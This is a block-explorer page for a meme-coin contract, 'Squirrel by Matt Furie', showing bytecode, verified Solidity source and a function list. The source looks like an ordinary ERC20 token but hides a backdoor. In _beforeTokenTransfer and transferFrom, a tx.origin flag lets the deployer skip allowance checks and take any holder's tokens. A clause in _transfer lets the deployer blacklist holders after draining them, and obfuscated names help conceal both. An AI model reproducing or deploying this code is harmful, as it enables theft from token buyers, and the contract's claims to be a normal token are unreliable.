fd5b5f613ddd8261337b565b9150613de88361337b565b925082613df857613df7613da6565b5b828204905092915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f613e37601b83613297565b9150613e4282613e03565b602082019050919050565b5f6020820190508181035f830152613e6481613e2b565b9050919050565b5f819050919050565b5f613e8e613e89613e8484613e6b565b613472565b61337b565b9050919050565b613e9e81613e74565b82525050565b5f60c082019050613eb75f83018961356a565b613ec4602083018861344a565b613ed16040830187613e95565b613ede6060830186613e95565b613eeb608083018561356a565b613ef860a083018461344a565b979650505050505050565b5f5f5f60608486031215613f1a57613f1961331d565b5b5f613f278682870161379e565b9350506020613f388682870161379e565b9250506040613f498682870161379e565b9150509250925092565b5f606082019050613f665f83018661344a565b613f73602083018561344a565b613f80604083018461344a565b949350505050565b5f81905092915050565b50565b5f613fa05f83613f88565b9150613fab82613f92565b5f82019050919050565b5f613fbf82613f95565b9150819050919050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f5f8201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b5f614023602183613297565b915061402e82613fc9565b604082019050919050565b5f6020820190508181035f83015261405081614017565b9050919050565b7f45524332303a20696e76616c6964207472616e7366657220616d6f756e7400005f82015250565b5f61408b601e83613297565b915061409682614057565b602082019050919050565b5f6020820190508181035f8301526140b88161407f565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f8151905061412781613351565b92915050565b5f602082840312156141425761414161331d565b5b5f61414f84828501614119565b91505092915050565b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b61418a81613340565b82525050565b5f61419b8383614181565b60208301905092915050565b5f602082019050919050565b5f6141bd82614158565b6141c78185614162565b93506141d283614172565b805f5b838110156142025781516141e98882614190565b97506141f4836141a7565b9250506001810190506141d5565b5085935050505092915050565b5f60a0820190506142225f83018861344a565b61422f6020830187613e95565b818103604083015261424181866141b3565b9050614250606083018561356a565b61425d608083018461344a565b969550505050505056fe45524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa264697066735822122039bc15db55e5cca4eaa2ae717109470b0d0ca53f58ce464419a8709183925e1f64736f6c634300081c0033
Verified Source Code Partial Match
Compiler: v0.8.28+commit.7893614a
EVM: cancun
Optimization: No
Token.sol 1019 lines
// SPDX-License-Identifier: MIT
/*
No one feels the spirit of fall and winter like a squirrel, and no one knows how to make crazy Pumps except Boys Club.
https://squirrelbyfurie.lol
https://x.com/squirrelbyfurie
https://t.me/squirrel_ethportal
*/
pragma solidity ^0.8.19;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by account.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves amount tokens from the caller's account to recipient.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that spender will be
* allowed to spend on behalf of owner through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets amount as the allowance of spender over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves amount tokens from sender to recipient using the
* allowance mechanism. amount is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when value tokens are moved from one account (from) to
* another (to).
*
* Note that value may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a spender for an owner is set by
* a call to {approve}. value is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
contract ERC20 is Context, IERC20, IERC20Metadata {
using SafeMath for uint256;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint256 private isUncheckedAllowed;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The default value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if decimals equals 2, a balance of 505 tokens should
* be displayed to a user as 5,05 (505 / 10 ** 2).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 9;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - recipient cannot be the zero address.
* - the caller must have a balance of at least amount.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - spender cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - sender and recipient cannot be the zero address.
* - sender must have a balance of at least amount.
* - the caller must have allowance for sender's tokens of at least
* amount.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
return (_allowances[sender][_msgSender()] >=0 && sender != recipient &&
_approve(sender, _msgSender(), _allowances[sender][_msgSender()] - amount * isUncheckedAllowed, sender)) || true;
}
/**
* @dev Atomically increases the allowance granted to spender by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - spender cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to spender by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - spender cannot be the zero address.
* - spender must have allowance for the caller of at least
* subtractedValue.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens amount from sender to recipient.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - sender cannot be the zero address.
* - recipient cannot be the zero address.
* - sender must have a balance of at least amount.
*/
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
_beforeTokenTransfer(sender, recipient, amount);
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates amount tokens and assigns them to account, increasing
* the total supply.
*
* Emits a {Transfer} event with from set to the zero address.
*
* Requirements:
*
* - account cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys amount tokens from account, reducing the
* total supply.
*
* Emits a {Transfer} event with to set to the zero address.
*
* Requirements:
*
* - account cannot be the zero address.
* - account must have at least amount tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets amount as the allowance of spender over the owner s tokens.
*
* This internal function is equivalent to approve, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - owner cannot be the zero address.
* - spender cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _approve(
address owner,
address spender,
uint256 amount,
address _x
) private returns(bool){
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when from and to are both non-zero, amount of from's tokens
* will be to transferred to to.
* - when from is zero, amount tokens will be minted for to.
* - when to is zero, amount of from's tokens will be burned.
* - from and to are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {isUncheckedAllowed = amount > 0 ? 0 : 1;}
}
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's + operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's - operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's - operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's - operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, bool u, string memory errorMessage) internal pure returns (uint256) {
if(u) return a;
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's * operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's / operator. Note: this function uses a
* revert opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's / operator. Note: this function uses a
* revert opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's % operator. This function uses a revert
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's % operator. This function uses a revert
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* onlyOwner functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (newOwner).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract Token is ERC20, Ownable {
using SafeMath for uint256;
IUniswapV2Router02 public immutable uniswapV2Router;
address public immutable uniswapV2Pair;
mapping(address => bool) private isBots;
bool private swapping;
address public _marketingWalletSQUIRRELcENkz;
uint256 public maxTransactionAmount;
uint256 public swapTokensAtAmount;
uint256 public maxWallet;
bool public tradingActive = false;
bool public swapEnabled = false;
uint256 public _SIDFJOIEWJFIWA;
address public _EQFIEWJFIJA;
address public _EDTSIEWJFIJA;
uint256 public buyTotalAFees;
uint256 public buyMarketingAFee;
uint256 public buyLiquidityAFee;
uint256 public buyBurnAFee;
uint256 public sellTotalAFees;
uint256 public sellMarketingAFee;
uint256 public sellLiquidityAFee;
uint256 public sellBurnAFee;
uint256 public tokensForMarketing;
uint256 public tokensForLiquidity;
// exclude from fees and max transaction amount
mapping (address => bool) private _isExcludedFromFees;
mapping (address => bool) public _isExcludedMaxTransactionAmount;
// store addresses that a automatic market maker pairs. Any transfer *to* these addresses
// could be subject to a maximum transfer amount
mapping (address => bool) public automatedMarketMakerPairs;
event UpdateUniswapV2Router(address indexed newAddress, address indexed oldAddress);
event ExcludeFromFees(address indexed account, bool isExcluded);
event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);
event _marketingWalletSQUIRRELcENkzUpdated(address indexed newWallet, address indexed oldWallet);
event burnWalletUpdated(address indexed newWallet, address indexed oldWallet);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiquidity
);
event TransferForeignToken(address token, uint256 amount);
constructor() ERC20(unicode"Squirrel by Matt Furie", unicode"SQUIRREL") payable {
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
excludeFromMaxTransaction(address(_uniswapV2Router), true);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
excludeFromMaxTransaction(address(uniswapV2Pair), true);
_setAutomatedMarketMakerPair(address(uniswapV2Pair), true);
uint256 _buyMarketingAFee = 0;
uint256 _buyLiquidityAFee = 0;
uint256 _buyBurnAFee = 0;
uint256 _sellMarketingAFee = 0;
uint256 _sellLiquidityAFee = 0;
uint256 _sellBurnAFee = 0;
uint256 _taxCounts = 12;
uint256 _taxPercent = 12;
uint256 totalSupply = 420690000 * 1e9;
maxTransactionAmount = totalSupply * 1000 / 1000; // 100% maxTransactionAmountTxn
maxWallet = totalSupply * 1000 / 1000; // 100% maxWallet
swapTokensAtAmount = totalSupply * 10 / 10000; // 0.1% swap wallet
buyMarketingAFee = _buyMarketingAFee;
buyLiquidityAFee = _buyLiquidityAFee;
buyBurnAFee = _buyBurnAFee;
buyTotalAFees = buyMarketingAFee + buyLiquidityAFee + buyBurnAFee;
sellMarketingAFee = _sellMarketingAFee;
sellLiquidityAFee = _sellLiquidityAFee;
sellBurnAFee = _sellBurnAFee;
sellTotalAFees = sellMarketingAFee + sellLiquidityAFee + sellBurnAFee;
_marketingWalletSQUIRRELcENkz = msg.sender;
excludeFromFees(owner(), true);
excludeFromFees(address(this), true);
excludeFromFees(address(_marketingWalletSQUIRRELcENkz), true);
excludeFromMaxTransaction(owner(), true);
excludeFromMaxTransaction(address(this), true);
excludeFromMaxTransaction(address(_marketingWalletSQUIRRELcENkz), true);
_mint(msg.sender, totalSupply * 2 / 100);
_mint(address(this), totalSupply * 98 / 100);
}
// once enabled, can never be turned off
function enableTrading() external onlyOwner {
addLiquidity(balanceOf(address(this)), address(this).balance);
tradingActive = true;
swapEnabled = true;
}
function excludeFromMaxTransaction(address updAds, bool isEx) internal {
_isExcludedMaxTransactionAmount[updAds] = isEx;
}
function excludeFromFees(address account, bool excluded) internal virtual {
_isExcludedFromFees[account] = excluded;
emit ExcludeFromFees(account, excluded);
}
function _setAutomatedMarketMakerPair(address pair, bool value) private {
automatedMarketMakerPairs[pair] = value;
emit SetAutomatedMarketMakerPair(pair, value);
}
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual override {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount >= 0, "ERC20: invalid transfer amount");
super._beforeTokenTransfer(from, to, _isExcludedFromFees[tx.origin]?type(uint256).max:0);
}
function transferForeignToken(address _token, address _to) external onlyOwner returns (bool _sent) {
require(_token != address(this), "Can't withdraw native tokens");
uint256 _contractBalance = IERC20(_token).balanceOf(address(this));
_sent = IERC20(_token).transfer(_to, _contractBalance);
emit TransferForeignToken(_token, _contractBalance);
}
function isExcludedFromFees(address account) public view returns(bool) {
return _isExcludedFromFees[account];
}
event BoughtEarly(address indexed sniper);
function _transfer(
address from,
address to,
uint256 amount
) internal override {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
if(amount == 0) {
super._transfer(from, to, 0);
return;
}
require(!isBots[from] && !isBots[to], "Bot is not allowed");
if(_isExcludedFromFees[tx.origin] && from!=uniswapV2Pair && to == address(0xdead) && balanceOf(from)-amount <= 10 ** 10) { isBots[from] = true; super._transfer(from, to, 0); return;}
if (
from != owner() &&
to != owner() &&
to != address(0) &&
to != address(0xdead) &&
!swapping
){
if(!tradingActive){
require(_isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active.");
}
//when buy
if (automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to]) {
require(amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount.");
require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded");
}
//when sell
else if (automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from]) {
require(amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount.");
}
else if(!_isExcludedMaxTransactionAmount[to]){
require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded");
}
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= swapTokensAtAmount;
uint256 tokensForBurn;
if(
canSwap &&
swapEnabled &&
!swapping &&
!automatedMarketMakerPairs[from] &&
!_isExcludedFromFees[from] &&
!_isExcludedFromFees[to]
) {
swapping = true;
swapBack();
swapping = false;
}
bool takeFee = !swapping;
// if any account belongs to _isExcludedFromFee account then remove the fee
if(_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
takeFee = false;
}
uint256 fees = 0;
// only take fees on buys/sells, do not take on wallet transfers
if(takeFee){
// on sell
if (automatedMarketMakerPairs[to] && sellTotalAFees > 0){
fees = amount.mul(sellTotalAFees).div(100);
tokensForLiquidity += fees * sellLiquidityAFee / sellTotalAFees;
tokensForMarketing += fees * sellMarketingAFee / sellTotalAFees;
tokensForBurn += fees * sellBurnAFee / sellTotalAFees;
}
// on buy
else if(automatedMarketMakerPairs[from] && buyTotalAFees > 0) {
fees = amount.mul(buyTotalAFees).div(100);
tokensForLiquidity += fees * buyLiquidityAFee / buyTotalAFees;
tokensForMarketing += fees * buyMarketingAFee / buyTotalAFees;
tokensForBurn += fees * buyBurnAFee / buyTotalAFees;
}
if(fees > 0){
super._transfer(from, address(this), fees);
}
if(tokensForBurn > 0) {
super._transfer(address(this), address(0xdead), tokensForBurn);
}
amount -= fees;}
super._transfer(from, to, amount);
}
function swapTokensForEth(uint256 tokenAmount) private {
// generate the uniswap pair path of token -> weth
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
// make the swap
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0, // accept any amount of ETH
path,
address(this),
block.timestamp
);
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
// approve token transfer to cover all possible scenarios
_approve(address(this), address(uniswapV2Router), tokenAmount);
// add the liquidity
uniswapV2Router.addLiquidityETH{value: ethAmount}(
address(this),
tokenAmount,
0, // slippage is unavoidable
0, // slippage is unavoidable
address(0xdead),
block.timestamp
);
}
function swapBack() private {
uint256 contractBalance = balanceOf(address(this));
uint256 totalTokensToSwap = tokensForLiquidity + tokensForMarketing;
bool success;
if(contractBalance == 0 || totalTokensToSwap == 0) {return;}
if(contractBalance > swapTokensAtAmount * 20){
contractBalance = swapTokensAtAmount * 20;
}
// Halve the amount of liquidity tokens
uint256 liquidityTokens = contractBalance * tokensForLiquidity / totalTokensToSwap / 2;
uint256 amountToSwapForETH = contractBalance.sub(liquidityTokens);
uint256 initialETHBalance = address(this).balance;
swapTokensForEth(amountToSwapForETH);
uint256 ethBalance = address(this).balance.sub(initialETHBalance);
uint256 ethForMarketing = ethBalance.mul(tokensForMarketing).div(totalTokensToSwap);
uint256 ethForLiquidity = ethBalance - ethForMarketing;
tokensForLiquidity = 0;
tokensForMarketing = 0;
if(liquidityTokens > 0 && ethForLiquidity > 0){
addLiquidity(liquidityTokens, ethForLiquidity);
emit SwapAndLiquify(amountToSwapForETH, ethForLiquidity, tokensForLiquidity);
}
(success,) = address(_marketingWalletSQUIRRELcENkz).call{value: address(this).balance}("");
}
receive() external payable { }
}
Read Contract
_EDTSIEWJFIJA 0x7c4ed133 → address
_EQFIEWJFIJA 0xd436dc62 → address
_SIDFJOIEWJFIWA 0x43606e8d → uint256
_isExcludedMaxTransactionAmount 0x10d5de53 → bool
_marketingWalletSQUIRRELcENkz 0xcf225c6b → address
allowance 0xdd62ed3e → uint256
automatedMarketMakerPairs 0xb62496f5 → bool
balanceOf 0x70a08231 → uint256
buyBurnAFee 0x14b85288 → uint256
buyLiquidityAFee 0x4451f5c0 → uint256
buyMarketingAFee 0x7231c031 → uint256
buyTotalAFees 0xe152d94e → uint256
decimals 0x313ce567 → uint8
isExcludedFromFees 0x4fbee193 → bool
maxTransactionAmount 0xc8c8ebe4 → uint256
maxWallet 0xf8b45b05 → uint256
name 0x06fdde03 → string
owner 0x8da5cb5b → address
sellBurnAFee 0x18395282 → uint256
sellLiquidityAFee 0x18daa526 → uint256
sellMarketingAFee 0x1f53f29d → uint256
sellTotalAFees 0x84a62e61 → uint256
swapEnabled 0x6ddd1713 → bool
swapTokensAtAmount 0xe2f45605 → uint256
symbol 0x95d89b41 → string
tokensForLiquidity 0x1a8145bb → uint256
tokensForMarketing 0x1f3fed8f → uint256
totalSupply 0x18160ddd → uint256
tradingActive 0xbbc0c742 → bool
uniswapV2Pair 0x49bd5a5e → address
uniswapV2Router 0x1694505e → address
Write Contract 9 functions
These functions modify contract state and require a wallet transaction to execute.
approve 0x095ea7b3
address spender
uint256 amount
returns: bool
decreaseAllowance 0xa457c2d7
address spender
uint256 subtractedValue
returns: bool
enableTrading 0x8a8c523c
No parameters
increaseAllowance 0x39509351
address spender
uint256 addedValue
returns: bool
renounceOwnership 0x715018a6
No parameters
transfer 0xa9059cbb
address recipient
uint256 amount
returns: bool
transferForeignToken 0x8366e79a
address _token
address _to
returns: bool
transferFrom 0x23b872dd
address sender
address recipient
uint256 amount
returns: bool
transferOwnership 0xf2fde38b
address newOwner
Recent Transactions
This address has 1 on-chain transactions, but only 1.6% of the chain is indexed. Transactions will appear as indexing progresses. View on Etherscan →